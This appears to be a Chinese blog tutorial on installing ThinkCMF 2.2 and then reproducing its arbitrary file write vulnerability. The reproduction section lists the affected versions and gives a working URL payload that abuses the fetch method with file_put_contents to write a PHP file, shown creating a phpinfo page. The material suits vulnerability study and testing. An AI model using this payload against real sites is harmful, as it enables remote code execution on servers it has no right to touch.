Thinkcmf2.2安装以及任意文件写入漏洞复现

I thinkcmf安装

1.下载ThinkCMF X2.2.0 链接: https://pan.baidu.com/s/1dEJJoU9?errno=0&errmsg=Auth%20Login%20Sucess&&bduss=&ssnerror=0&traceid=

此处我使用宝塔面板来搭建网站和安装thinkcmf2.2

2.进入宝塔面板点击你搭建的网站的根目录

Thinkcmf2.2安装以及任意文件写入漏洞复现
上传你刚才下载的thinkcmf2.2的安装包
Thinkcmf2.2安装以及任意文件写入漏洞复现

注意:

只能上传压缩包,上传成功后点击文件解压缩
Thinkcmf2.2安装以及任意文件写入漏洞复现
压缩成功后点击左侧栏网站,修改网站目录,选择cmf2.2
Thinkcmf2.2安装以及任意文件写入漏洞复现
然后点击域名
Thinkcmf2.2安装以及任意文件写入漏洞复现
Thinkcmf2.2安装以及任意文件写入漏洞复现
安装成功,如图
Thinkcmf2.2安装以及任意文件写入漏洞复现

II. thinkcmf漏洞复现

0x01 漏洞概述

攻击者可利用此漏洞构造恶意的url,向服务器写入任意内容的文件,达到远程代码执行的目的。

0x02 影响版本

ThinkCMF X1.6.0
ThinkCMF X2.1.0
ThinkCMF X2.2.0
ThinkCMF X2.2.1
ThinkCMF X2.2.2
ThinkCMF X2.2.3

0x03 漏洞利用

通过构造a参数的fetch方法,可以不需要知道文件路径就可以把php代码写入文件

phpinfo版payload如下:

/?a=fetch&templateFile=public/index&prefix=’’&content=file_put_contents(‘test.php’,’<?php phpinfo(); ?>’)

这段的意思是生成一个叫 test.php的文件,输出的是phpinfo的界面
把这个payload粘贴到网站
Thinkcmf2.2安装以及任意文件写入漏洞复现
执行payload,页面是空白的
Thinkcmf2.2安装以及任意文件写入漏洞复现
访问test.php,可以看到phpinfo已经加载出来
Thinkcmf2.2安装以及任意文件写入漏洞复现
ok